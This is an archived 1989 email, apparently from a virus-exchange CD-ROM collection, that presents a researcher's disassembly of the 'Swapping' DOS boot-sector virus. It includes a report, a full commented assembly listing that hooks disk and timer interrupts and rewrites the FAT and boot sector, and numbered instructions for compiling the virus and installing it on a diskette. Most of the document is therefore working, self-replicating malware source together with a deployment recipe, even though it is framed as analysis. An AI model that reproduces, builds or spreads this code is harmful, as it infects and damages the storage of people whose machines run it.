home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SWAPPING.ASM < prev    next >
Assembly Source File  |  1992-11-30  |  27KB  |  552 lines

  1. From:    Jnet%"NYYUVAL@WEIZMANN"      "Yuval Tal -8-474592" 15-AUG-1989 19:42:53.22
  2. To:    RCSTRN@HEITUE51
  3. CC:    
  4. Subj:    Swap Virus
  5.  
  6. Received: From WEIZMANN(VMMAIL) by HEITUE51 with Jnet id 6788
  7.           for RCSTRN@HEITUE51; Tue, 15 Aug 89 19:42 N
  8. Received: by WEIZMANN (Mailer R2.03B) id 7639; Tue, 15 Aug 89 20:34:55 +0300
  9. Date:         Tue, 15 Aug 89 20:33:34 +0300
  10. From:         "Yuval Tal (972)-8-474592" <NYYUVAL@WEIZMANN>
  11. Subject:      Swap Virus
  12. To:           RCSTRN@HEITUE51
  13.  
  14. hi....
  15.  
  16. This is the swap virus that i've told u about..
  17.  
  18. cheers,
  19.  
  20.        yuval
  21.         +------------------------------------------------------+
  22.         |                The "Swapping" virus                  |
  23.         +------------------------------------------------------+
  24.         |                                                      |
  25.         | Disassembled on: August, 1989                        |
  26.         |                                                      |
  27.         | Disassembled by: Yuval Tal                           |
  28.         |                                                      |
  29.         | Disassembled using: ASMGEN and DEBUG                 |
  30.         |                                                      |
  31.         +------------------------------------------------------+
  32.  
  33. Important note: If you find *ANYTHING* that you think I wrote
  34. incorrectly or is-understood something, please let me know ASAP.
  35. You can reach me:
  36.  
  37.  Bitnet:   NYYUVAL@WEIZMANN
  38.  InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU
  39.  
  40.  
  41. This text is divided into theree parts:
  42.  
  43.     1) A report about the Swap Virus.
  44.     2) A disassembly of the Swap Virus.
  45.     3) How to install this virus?
  46.  
  47. -------------------------------------------------------------------------------
  48.                             R  E  P  O  R  T
  49. -------------------------------------------------------------------------------
  50.  
  51. Virus Name..............: The Swap Virus
  52. Attacks.................: Floppy-disks only
  53. Virus Detection when....: June, 1989
  54.                 at......: Israel
  55. Length of virus.........: 1. The virus itself is 740 bytes.
  56.                           2. 2048 bytes in RAM.
  57. Operating system(s).....: PC/MS DOS version 2.0 or later
  58. Identifications.........: A) Boot-sector:
  59.                              1) Bytes from $16A in the boot sector are:
  60.                                    31 C0 CD 13 B8 02 02 B9 06 27 BA 00 01 CD 13
  61.                                    9A 00 01 00 20 E9 XX XX
  62.                              2) The first three bytes in the boot sector are:
  63.                                 JMP 0196 (This is, if the boot sector was
  64.                                           loaded to CS:0).
  65.                           B) FAT: Track 39 sectors 6-7 are marked as bad.
  66.                           C) The message:
  67.                                 "The Swapping-Virus. (C) June, by the CIA"
  68.                              is located in bytes 02B5-02E4 on track 39,
  69.                              sector 7.
  70. Type of infection.......: Stays in RAM, hooks int $8 and int $13.
  71.                           A diskette is infected when it is inserted into the
  72.                           drive and ANY command that reads or writes from/to
  73.                           the diskette is executed. Hard disks are NOT infected!
  74. Infection trigger.......: The virus starts to work after 10 minutes.
  75. Interrupt hooked........: $8 (Timer-Tick - Responsible for the letter dropping)
  76.                           $13 (Disk Drive - Infects!)
  77. Damage..................: Track 39 sectors 6-7 will be marked as bad in the
  78.                           FAT.
  79. Damage trigger..........: The damage is done whenever a diskette is infected.
  80. Particularities.........: A diskette will be infected only if track 39 sectors
  81.                           6-7 are empty.
  82.  
  83.  
  84. -------------------------------------------------------------------------------
  85.                       D  I  S  A  S  S  E  M  B  L  Y
  86. -------------------------------------------------------------------------------
  87.  
  88. ;The first thing I did, inorder to dis-assemble this virus, was un-assemling
  89. ;it with the U command in DOS's DEBUG utility. Then, I used a dis-assembler
  90. ;called ASMGEN to set all the labels and variables in the .ASM file. I then
  91. ;compared the two outputs (from DEBUG and from ASMGEN) and updated the .ASM
  92. ;file that no command will be missing, added a few things and this is the
  93. ;result:
  94.  
  95. CODE    SEGMENT
  96.  
  97.         ASSUME DS:CODE,CS:CODE
  98.         ORG    0000H
  99.  
  100. START:  JMP     L0353
  101.  
  102.         DATA_BEGIN   EQU  THIS BYTE
  103.  
  104.         OldInt8      DW   0,0             ;The old interrupt 8: Offset Segment
  105.         OldInt13     DW   0,0             ;The old interrupt 13: Offset Segment
  106.         RandomNumber DW   0               ;The random number
  107.         Flag         DB   0
  108.         Counter      DW   0
  109.         Counter2     DW   0
  110.         Status       DB   0
  111.         CHAR         DB   0               ;The character that is falling
  112.         CHARUNDER    DB   0               ;The chacterer that we save
  113.         ADDRCHAR     DW   0               ;The address of the character in mem.
  114.         GOT13        DB   0               ;If interrupt 13 is installed
  115.         DISKDRIV     DB   0               ;The diskette that we are infecting
  116.         DISK         DW   0               ;The diskette that we are infecting
  117.  
  118.  
  119.         DATA_END     EQU   THIS BYTE
  120.  
  121. ; The following 11 command are written into the boot-sector at address CS:196
  122. ; At first I worte the commands, but some of the opcodes weren't the same as
  123. ; in the virus so I've exchanged them into opcodes for maximum compability.
  124.  
  125.  
  126.         StartCmds     EQU  THIS BYTE
  127.  
  128.         DB 031h,0C0h                        ;XOR     AX,AX
  129.         DB 0CDh,013h                        ;INT     13h
  130.         DB 0B8h,002h,002h                   ;MOV     AX,OFFSET 0202h
  131.         DB 0B9h,006h,027h                   ;MOV     CX,OFFSET 2706h
  132.         DB 0BAh,000h,001h                   ;MOV     DX,OFFSET 0100h
  133.         DB 0BBh,000h,020h                   ;MOV     BX,OFFSET 2000h
  134.         DB 08Eh,0C3h                        ;MOV     ES,BX
  135.         DB 0BBh,000h,000h                   ;MOV     BX,0
  136.         DB 0CDh,013h                        ;INT     13h
  137.         DB 09Ah,00h,00h,00h,020h            ;Call 2000h:0000
  138.         DB 0E9h                             ;JMP
  139. FirstJMP DW 0FE89h                          ;    003EH    (Don't worry,
  140.                                             ;              it's the right addres
  141.  
  142.  
  143. ;------------------------------------------
  144. ; This is the new interrupt $13 routine
  145. ;------------------------------------------
  146.  
  147. NewInt13:
  148.         PUSHF                                   ;
  149.         CMP     DL,1h                           ;Call for drive A: or B:?
  150.         JA      L0153                           ;If not, don't put virus
  151.  
  152.         CMP     AH,2h                           ;Is it a readblock function
  153.         JB      L0153                           ;(AH=2)? No, AH is smaller so
  154.                                                 ;don't put virus
  155.  
  156.         CMP     AH,3h                           ;Is it a writeblock function
  157.         JA      L0153                           ;(AH=3)? No, AH is bigger so
  158.                                                 ;don't put virus
  159.         INC     DL                              ;Set disk drive to fit the user
  160.                                                 ;(Drive A=1 ; Drive B=2)
  161.         MOV     CS:DiskDriv,DL                  ;Save the drive number
  162.         DEC     DL                              ;Set disk drive to fit the int.
  163.                                                 ;(Drive A=0 ; Drive B=1)
  164.  
  165.  
  166. L0153:  CALL    DWORD PTR  CS:OldInt13          ;Call the original int 13
  167.         JNB     L0160                           ;If no error, goto end of
  168.                                                 ;routine. (JNB=JNC)
  169.         MOV     BYTE PTR CS:DiskDriv,0          ;If error, DiskDriv=0
  170.  
  171. L0160:  RETF     2                              ;Return from routine
  172.  
  173. ;-----------------------------------------------------
  174. ; Infect the diskette
  175. ;-----------------------------------------------------
  176.  
  177. L0163:  PUSH    ES                              ;
  178.         PUSH    BP                              ;Save registers
  179.         MOV     BP,SP                           ;
  180.         MOV     AX,[BP+10h]                     ;Let AX=CS from the stack
  181.  
  182.         POP     BP                              ;
  183.  
  184.         CMP     AX,0200h                        ;Are we called from the system?
  185.         JBE     L01BB                           ;If so, don't infect
  186.         MOV     BX,CS                           ;Get the program segment
  187.         CMP     AX,BX                           ;Is it the same as one from
  188.         JNB     L01BB                           ;stack? If so, don't infect
  189.  
  190.         MOV     AX,CS                           ;
  191.         MOV     ES,AX                           ;ES=CS
  192.         MOV     AL,CS:DiskDriv                  ;AL=DiskDriv
  193.         DEC     AL                              ;Set AL to fit int
  194.         XOR     AH,AH                           ;AH=0
  195.         MOV     CS:Disk,AX                      ;Save AX
  196.         MOV     AX,0201h                        ;Read one sector
  197.         MOV     BX,0400h                        ;to buffer CS:400
  198.         MOV     CX,0003h                        ;from sector 3, track 0 (FAT)
  199.         MOV     DX,CS:Disk                      ;restore the disk drive
  200.         INT     13h                             ;Read it!!!
  201.         JB      L01BE                           ;If error, don't infect
  202.  
  203.         MOV     AX,0301h                        ;Write one sector
  204.         MOV     BX,0400h                        ;from CS:400
  205.         MOV     DX,CS:Disk                      ;the disk drive number
  206.         CMP     BYTE PTR CS:[BX+13h],0          ;is there something on it?
  207.         JNZ     L01BE                           ;yes, don't infect
  208.  
  209.         MOV     BYTE PTR CS:[BX+13h],0F7h       ;Mark the sector before the
  210.         OR      BYTE PTR CS:[BX+14h],0Fh        ;last one as bad
  211.         INT     13h                             ;Re-write the FAT!
  212.         JB      L01BE                           ;If error, don't infect!
  213.         JMP     SHORT   L01C1                   ;Continue...
  214.  
  215. ;Note: I have no idea what is the object of the next NOPs.
  216.  
  217.         NOP                                     ;
  218. L01BB:  JMP     SHORT   L022D                   ;These JMP are for the don't
  219.         NOP                                     ;infect...see above!
  220. L01BE:  JMP     SHORT   L0227                   ;
  221.         NOP                                     ;
  222.  
  223. L01C1:  MOV     AX,0201h                        ;Read one sector to the
  224.         MOV     BX,0400h                        ;buffer at CS:400
  225.         MOV     CX,0001h                        ;from sector 1, track 0 (boot
  226.         MOV     DX,CS:Disk                      ;sector) from diskette
  227.         INT     13h                             ;Read it!
  228.         JB      L0227                           ;If error, don't infect
  229.  
  230. ;A boot sector always start with a JMP to a certain place. This virus changes
  231. ;this JMP to
  232.  
  233.         MOV     BX,0400h                        ;Check where does the first
  234.         MOV     AL,CS:[BX+1]                    ;JMP jumps to.
  235.         XOR     AH,AH                           ;
  236.         SUB     AX,1B3h                         ;Reduce 1B3h to calculate the
  237.                                                 ;real JMP address and
  238.         MOV     CS:FirstJMP,AX                  ;save it.
  239.  
  240.         MOV     WORD PTR CS:[BX],93E9h          ;Change the JMP in the loaded
  241.         MOV     BYTE PTR CS:[BX+2],1            ;boot-sector (CS:400). E9=JMP
  242.  
  243.         PUSH    SI                              ;
  244.         PUSH    DI                              ;
  245.         PUSH    DS                              ;Save registers
  246.         MOV     AX,CS                           ;
  247.         MOV     DS,AX                           ;DS=CS
  248.  
  249. ;Here, the commands which are added to the boot-sector at the 196th byte are
  250. ;copied to the loaded boot-sector at address CS:400.
  251.  
  252.         MOV     SI,Offset StartCmds             ;SI points to commands to add
  253.                                                 ;to the boot-sector
  254.         MOV     DI,0596h                        ;The 196th byte from CS:400
  255.         MOV     CX,1Fh                        ;The commands are 1Fh bytes long
  256.         CLD                                     ;
  257.         REPZ    MOVSB                           ;Copy it!
  258.  
  259. L0200:  POP     DS                              ;
  260. L0201:  POP     DI                              ;
  261. L0202:  POP     SI                              ;Restore registers
  262.  
  263. ;The loaded and changed boot-sector is re-written to the diskette.
  264.  
  265.         MOV     AX,0301h                        ;Write one sector from
  266.         MOV     BX,0400h                        ;CS:400 to
  267.         MOV     CX,0001h                        ;sector 1, track 0
  268.         MOV     DX,CS:Disk                      ;disk number..
  269.         INT     13h                             ;Write data!
  270.         JB      L0227                           ;If error, don't infect
  271.  
  272. ;Here, the virus is written to the diskette to the marked bad sectors
  273.  
  274.         MOV     AX,0302h                        ;Write two sectors from
  275.         MOV     BX,0                            ;CS:0 (this code!) to
  276.         MOV     CX,2706h                        ;track 27h, sector 6
  277.         MOV     DX,CS:Disk                      ;disk number..
  278.         MOV     DH,1h                           ;side number 1
  279.         INT     13h                             ;Write it!
  280.  
  281. L0227:  MOV     BYTE PTR CS:DiskDriv,0          ;In case of error DiskDriv=0
  282. L022D:  POP     ES                              ;Restore register
  283.         JMP     SHORT   L02AF                   ;finished infecting
  284.         NOP                                     ;Again, i don't know what is
  285.                                                 ;this NOP object
  286. ;-------------------------------------------
  287. ; The new interrupt 13h is installed here
  288. ;-------------------------------------------
  289.  
  290.  
  291. L0231:  XOR     AX,AX                           ;ES points to lowest segment
  292.         MOV     ES,AX                           ;in memory
  293.         MOV     BX,ES:4Ch                       ;
  294.         MOV     CS:OldInt13[0],BX               ;Save the int vector (offset)
  295.         MOV     BX,ES:4Eh                       ;
  296.         MOV     CS:OldInt13[2],BX               ;Save the int vector (segment)
  297.  
  298.         MOV     BX,CS                           ;BX=CS
  299.         MOV     ES:4Eh,BX                       ;Change the int vector (segment)
  300.         MOV     BX,Offset NewInt13              ;BX=Offset of the new int 13
  301.         MOV     ES:4Ch,BX                       ;Change the int vector (offset)
  302.  
  303.         MOV     BYTE PTR CS:Got13,1             ;Mark flag that int 13 is instal
  304.         MOV     BYTE PTR CS:Status,0            ;Status=0
  305.  
  306.         JMP     L034D                           ;Continue....
  307.  
  308. ;-----------------------------------------------------
  309.  
  310. L0267:  JMP     L0163                           ;Infect disk!
  311.  
  312. ;-----------------------------------------------------
  313. ;This is the new interrupt $8
  314. ;-----------------------------------------------------
  315.  
  316. L026A:  PUSHF                                   ;
  317.         CALL    DWORD PTR CS:OldInt8            ;Call orginal interrput
  318.         PUSH    AX                              ;
  319.         PUSH    BX                              ;
  320.         PUSH    CX                              ;
  321.         PUSH    DX                              ;
  322.         PUSH    ES                              ;Save registers
  323.  
  324. ;The virus picks a random number. It does it by adding AX,BX,CX and DX
  325. ;to RandomNumber. The values of AX,BX,CX and DX are undefined because an
  326. ;hardware interrupt (look6 commands back) was called.
  327.  
  328.         ADD     CS:RandomNumber,AX              ;\
  329.         ADD     CS:RandomNumber,BX              ; |_ Create random number
  330.         ADD     CS:RandomNumber,CX              ; |
  331.         ADD     CS:RandomNumber,DX              ;/
  332.  
  333. ;I am not sure what the programmer had done next but my guess is that this
  334. ;is the time check. The virus starts to work after 10 minuntes or so.
  335.  
  336.         CMP     WORD PTR CS:Counter,0443h       ;Is my counter>=443h?
  337.         JNB     L029F                           ;Yes, it is..
  338.  
  339.         INC     WORD PTR CS:Counter             ;No, incerase it and also
  340.         INC     WORD PTR CS:Counter2            ;increase another thing (??)
  341.                                                 ;and then,
  342.         JMP     L034D                           ;goto end of routine
  343.  
  344. L029F:  CMP     BYTE PTR CS:Got13,0             ;
  345.         JZ      L0231
  346.         CMP     BYTE PTR CS:DiskDriv,0          ;Is diskette infected?
  347.         JNZ     L0267                           ;No, infect it!
  348.  
  349. L02AF:  CMP     WORD PTR CS:Counter2,2A9Dh      ;??
  350.         JNB     L02C0                           ;??
  351.         INC     WORD PTR CS:Counter2            ;??
  352.         JMP     L034D                           ;Exit routine
  353.  
  354. ;-----------------------------------------------------------------
  355. ; This is the main routine which drops the letter from the screen
  356. ;-----------------------------------------------------------------
  357.  
  358. L02C0:  MOV     BX,0B800h                       ;Make ES point to the screen
  359.         MOV     ES,BX                           ;segment (only cga,ega,mcga)
  360.         CMP     BYTE PTR CS:Status,0            ;Is status=0?
  361.         JNZ     L0305                           ;No, drop letter
  362.  
  363. ;This is done to make space in the time between the letters fall.
  364.  
  365.         ADD     BYTE PTR CS:Flag,4              ;Flag:=Flag+4
  366.         CMP     BYTE PTR CS:Flag,4              ;Is flag=4?
  367.         JNB     L034D                           ;If so, don't drop
  368.  
  369.         MOV     BX,CS:RandomNumber              ;Set up random number..
  370.         MOV     CL,5                            ;
  371.         SHR     BX,CL                           ;first, devide it by 32
  372.         SHL     BX,1                            ;second, multiply it by 2
  373.  
  374.         MOV     AL,ES:[BX]                      ;Save the char we need to drop
  375.         CMP     AL,20h                          ;is it a space( )?
  376.         JZ      L034D                           ;if so, don't drop
  377.  
  378.         MOV     CS:Char,AL                      ;Save the char
  379.         MOV     BYTE PTR CS:CharUnder,20h       ;The saved char is now ' '
  380.         MOV     CS:AddrChar,BX                  ;Svae the address of the char
  381.         MOV     BYTE PTR CS:Status,1            ;Status=1
  382.  
  383. L0302:  JMP     SHORT   L034D                   ;Go to exit
  384.         NOP                                     ;
  385.  
  386. L0305:  CMP     BYTE PTR CS:Status,2            ;Is Status=2?
  387.         JZ      L0315                           ;If so, continue
  388.         INC     BYTE PTR CS:Status              ;Else, status=status+1
  389.  
  390.         JMP     SHORT   L034D                   ;Go to exit
  391.         NOP                                     ;
  392.  
  393. L0315:  MOV     BYTE PTR CS:Status,1            ;Status:=1
  394.         MOV     BX,CS:AddrChar                  ;Put address of character in BX
  395.         MOV     AL,CS:CharUnder                 ;and the saved char at AL
  396.         MOV     ES:[BX],AL                      ;Erase the letter on the screen
  397.         ADD     BX,0A0h                         ;Move pointer to next line
  398.  
  399.         CMP     BX,0FA0h                        ;Did we past end of screen?
  400.         JA      L0347                           ;If so, the dropping has ended
  401.         MOV     CS:AddrChar,BX                  ;Save the new address
  402.         MOV     AL,ES:[BX]                      ;and the character
  403.         MOV     CS:CharUnder,AL                 ;and put the dropping letter
  404.         MOV     AL,CS:Char                      ;in the current location
  405.         MOV     ES:[BX],AL                      ;
  406.  
  407.         JMP     SHORT   L034D                   ;Go to end of routine
  408.         NOP                                     ;
  409.  
  410. L0347:  MOV     BYTE PTR CS:Status,0            ;Status:=0
  411.                                                 ;
  412.  
  413. L034D:  POP     ES                              ;Resotre registers
  414.         POP     DX                              ;
  415.         POP     CX                              ;
  416.         POP     BX                              ;
  417.         POP     AX                              ;
  418.         IRET                                    ;Return from interrupt
  419.  
  420. ;-------------------------------------------------------------------
  421. ;This part of the virus initilized the TSR
  422. ;-------------------------------------------------------------------
  423.  
  424. L0353:  PUSH    DS                              ;
  425.         PUSH    ES                              ;Save registers
  426.         MOV     AX,CS                           ;
  427.         MOV     DS,AX                           ;Make CS=DS
  428.  
  429. ;First thing, clear all the data area
  430.  
  431.         MOV     ES,AX                           ;ES=DS
  432.         MOV     DI,OFFSET DATA_BEGIN            ;Offset of beginning of data
  433.         MOV     CX,OFFSET DATA_END-OFFSET DATA_BEGIN ;Length of data
  434.         CLD                                     ;Go forward
  435.         XOR     AL,AL                           ;Store 0 each time (AL=0)
  436.         REPZ    STOSB                           ;Repeat so CX times
  437.  
  438. ;Now, make ES point to the lowest segment in the memory
  439.  
  440.         XOR     AX,AX                           ;
  441.         MOV     ES,AX                           ;ES point to lowest segment
  442.  
  443. ;The interrupt vectors are written in the lowest segment so:
  444. ;
  445. ; 1) Save the interrupt 8 segment and offset for later use
  446. ; 2) Read amount of memory (0:413h) and steal 2K (the virus will be put here)
  447.  
  448.         MOV     BX,ES:20h                       ;Get offset of int $8
  449.         MOV     DS:OldInt8[0],BX                ;Save int $8 offset
  450.         MOV     BX,ES:22h                       ;Get segment of int $8
  451.         MOV     DS:OldInt8[2],BX                ;Save int $8 segment
  452.  
  453.         MOV     AX,ES:413h                      ;Put amount of mem. in AX,
  454.         SUB     AX,2                            ;steal 2K and
  455.         MOV     ES:413h,AX                      ;save the new amount of mem.
  456.  
  457. ;Copy the virus to the highest place in the memory:
  458.  
  459.         MOV     CL,6                            ;
  460.         SHL     AX,CL                           ;Multiply the mem size by 64 and
  461.         MOV     ES,AX                           ;make ES point to this segm.
  462.         MOV     SI,OFFSET START                 ;SI to begining of this code
  463.         MOV     DI,SI                           ;
  464.         MOV     CX,OFFSET _End-OFFSET Start     ;Virus length=_End-Start
  465.         CLD                                     ;
  466.         REPZ    MOVSB                           ;Copy the virus.
  467.  
  468. ;IMPORTANT: I am not sure that what I am saying in the next paragraph is
  469. ;           correct. Please let me know if I am wrong
  470.  
  471.         XOR     AX,AX                           ;
  472.         MOV     DS,AX                           ;DS point to lowest segment
  473.         MOV     BX,CS:OldInt8[0]                ;Get the offset of int $8 and
  474.         MOV     BYTE PTR ES:[BX],0CFh           ;put 0CFh there (I think it is
  475.                                                 ;to put IRET).
  476.  
  477. ;OK, now all the virus needs to do is to change the interrupt vector so
  478. ;it will point the new $8 interrput.
  479.  
  480.         MOV     BX,ES                           ;
  481.         CLI                                     ;
  482.         MOV     DS:22h,BX                       ;Change the vector (Segment)
  483.         MOV     BX,OFFSET L026A                 ;BX=Offset of new interrupt
  484.         MOV     DS:20h,BX                       ;Change the vector (Offset)
  485.         STI                                     ;
  486.  
  487.         POP     ES                              ;Restore registers
  488.         POP     DS                              ;
  489.  
  490.         RETF                                    ;Return back
  491.  
  492. ;I guess this is the signature of the virus:
  493.  
  494.    DB 'The Swapping-Virus. (C) June, 1989 by the CIA'
  495.  
  496.   _END     EQU    THIS BYTE
  497.  
  498.         CODE    ENDS
  499. ;
  500. END     START
  501.  
  502. -------------------------------------------------------------------------------
  503.   H  O  W      T  O      I  N  S  T  A  L  L      T  H  E      V  I  R  U  S
  504. -------------------------------------------------------------------------------
  505.  
  506.  1) Cut the disassembly from this text.
  507.  2) Compile the disassembly. I used Macro Assembler 5.1 in order to compile and
  508.     link it but I think that there won't be any trouble using Turbo Assembler.
  509.  3) Use EXE2BIN or anything else inorded to make it a .COM file.
  510.  4) Format a diskette with the /S option inorder to put the operation system on
  511.     it (make sure you format it in 9 sectors per track format).
  512.  5) Enter DOS's DEBUG debugger and load the .COM file that you have created.
  513.  6) Type: M 100 400 0    this is done inorded to move the virus from CS:100 to
  514.     CS:0.
  515.  7) Put the diskette you want to infect in drive A.
  516.  8) Type: W 0 0 2CC 2    this command will write the virus into sectors 6-7 on
  517.     track 39.
  518.  9) Type: L 0 0 0 1      this will load the boot sector into the memory.
  519. 10) Type: U 0            and remember the number after the JMP in offset 0.
  520. 11) Type: A 0
  521.           JMP 196      this will execute the virus each time the
  522.     diskette is booted.
  523. 12) Type: A 196
  524.           XOR AX,AX
  525.           INT 13
  526.           MOV AX,202
  527.           MOV CX,2706
  528.           MOV DX,100
  529.           MOV BX,2000
  530.           MOV ES,BX
  531.           MOV BX,0
  532.           INT 13
  533.           CALL 2000:0000
  534.           JMP <the number from CS:0>
  535. 13) Now, save the boot sector by typing: W 0 0 0 1
  536.  
  537. That's it! The virus is now installed on your diskette!
  538.  
  539. +-----------------------------------------------------------------------+
  540. | BitNet:   NYYUVL@WEIZMANN              CSNet: NYYUVAL@WEIZMANN.BITNET |
  541. | InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU                     |
  542. |                                                                       |
  543. | Yuval Tal                                                             |
  544. | The Weizmann Institute Of Science     "To be of not to be" -- Hamlet  |
  545. | Rehovot, Israel                       "Oo-bee-oo-bee-oo" -- Sinatra   |
  546. +-----------------------------------------------------------------------+
  547.  
  548. ;  ─────────────────────────────────────────────────────────────────────────
  549. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  550. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  551. ;  ─────────────────────────────────────────────────────────────────────────
  552.